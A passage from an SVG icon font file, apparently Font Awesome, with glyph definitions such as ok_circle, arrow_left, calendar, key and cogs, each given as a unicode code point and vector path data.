d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5
t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_circle" unicode="&#xf05d;" 
d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198
t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ban_circle" unicode="&#xf05e;" 
d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61
t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
    <glyph glyph-name="arrow_left" unicode="&#xf060;" 
d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5
t32.5 -90.5z" />
    <glyph glyph-name="arrow_right" unicode="&#xf061;" 
d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
    <glyph glyph-name="arrow_up" unicode="&#xf062;" horiz-adv-x="1664" 
d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651
q37 -39 37 -91z" />
    <glyph glyph-name="arrow_down" unicode="&#xf063;" horiz-adv-x="1664" 
d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
    <glyph glyph-name="share_alt" unicode="&#xf064;" horiz-adv-x="1792" 
d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22
t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
    <glyph glyph-name="resize_full" unicode="&#xf065;" 
d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332
q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
    <glyph glyph-name="resize_small" unicode="&#xf066;" 
d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45
t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
    <glyph glyph-name="plus" unicode="&#xf067;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
    <glyph glyph-name="minus" unicode="&#xf068;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
    <glyph glyph-name="asterisk" unicode="&#xf069;" horiz-adv-x="1664" 
d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154
q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
    <glyph glyph-name="exclamation_sign" unicode="&#xf06a;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192
q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
    <glyph glyph-name="gift" unicode="&#xf06b;" 
d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320
q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5
t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
    <glyph glyph-name="leaf" unicode="&#xf06c;" horiz-adv-x="1792" 
d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268
q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-43 0 -63.5 17.5t-45.5 59.5q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5
t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
    <glyph glyph-name="fire" unicode="&#xf06d;" horiz-adv-x="1408" 
d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1
q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
    <glyph glyph-name="eye_open" unicode="&#xf06e;" horiz-adv-x="1792" 
d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5
t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
    <glyph glyph-name="eye_close" unicode="&#xf070;" horiz-adv-x="1792" 
d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9
q-106 -189 -316 -567t-315 -566l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5
q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z
" />
    <glyph glyph-name="warning_sign" unicode="&#xf071;" horiz-adv-x="1792" 
d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185
q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
    <glyph glyph-name="plane" unicode="&#xf072;" horiz-adv-x="1408" 
d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9
q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
    <glyph glyph-name="calendar" unicode="&#xf073;" horiz-adv-x="1664" 
d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z
M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64
q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47
h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="random" unicode="&#xf074;" horiz-adv-x="1792" 
d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1
t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5
v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111
t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="comment" unicode="&#xf075;" horiz-adv-x="1792" 
d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281
q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="magnet" unicode="&#xf076;" 
d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384
q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
    <glyph glyph-name="chevron_up" unicode="&#xf077;" horiz-adv-x="1792" 
d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="chevron_down" unicode="&#xf078;" horiz-adv-x="1792" 
d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="retweet" unicode="&#xf079;" horiz-adv-x="1920" 
d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -10 7 -21
zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z
" />
    <glyph glyph-name="shopping_cart" unicode="&#xf07a;" horiz-adv-x="1664" 
d="M640 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1536 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1664 1088v-512q0 -24 -16.5 -42.5t-40.5 -21.5l-1044 -122q13 -60 13 -70q0 -16 -24 -64h920q26 0 45 -19t19 -45
t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 11 8 31.5t16 36t21.5 40t15.5 29.5l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t19.5 -15.5t13 -24.5t8 -26t5.5 -29.5t4.5 -26h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="folder_close" unicode="&#xf07b;" horiz-adv-x="1664" 
d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open" unicode="&#xf07c;" horiz-adv-x="1920" 
d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5
t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
    <glyph glyph-name="resize_vertical" unicode="&#xf07d;" horiz-adv-x="768" 
d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="resize_horizontal" unicode="&#xf07e;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="bar_chart" unicode="&#xf080;" horiz-adv-x="2048" 
d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
    <glyph glyph-name="twitter_sign" unicode="&#xf081;" 
d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4
q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5
t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="facebook_sign" unicode="&#xf082;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-188v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-532q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="camera_retro" unicode="&#xf083;" horiz-adv-x="1792" 
d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5
t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280
q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="key" unicode="&#xf084;" horiz-adv-x="1792" 
d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26
l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5
t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
    <glyph glyph-name="cogs" unicode="&#xf085;" horiz-adv-x="1920" 
d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -11 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5
l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7
l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -8 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31
q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20
t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68
q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70
q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="1792" 
d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224
q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7
q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
    <glyph glyph-name="thumbs_up_alt" unicode="&#xf087;" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5
t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769
q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128
q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
    <glyph glyph-name="thumbs_down_alt" unicode="&#xf088;" 
d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 31 18 69q0 37 -17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5
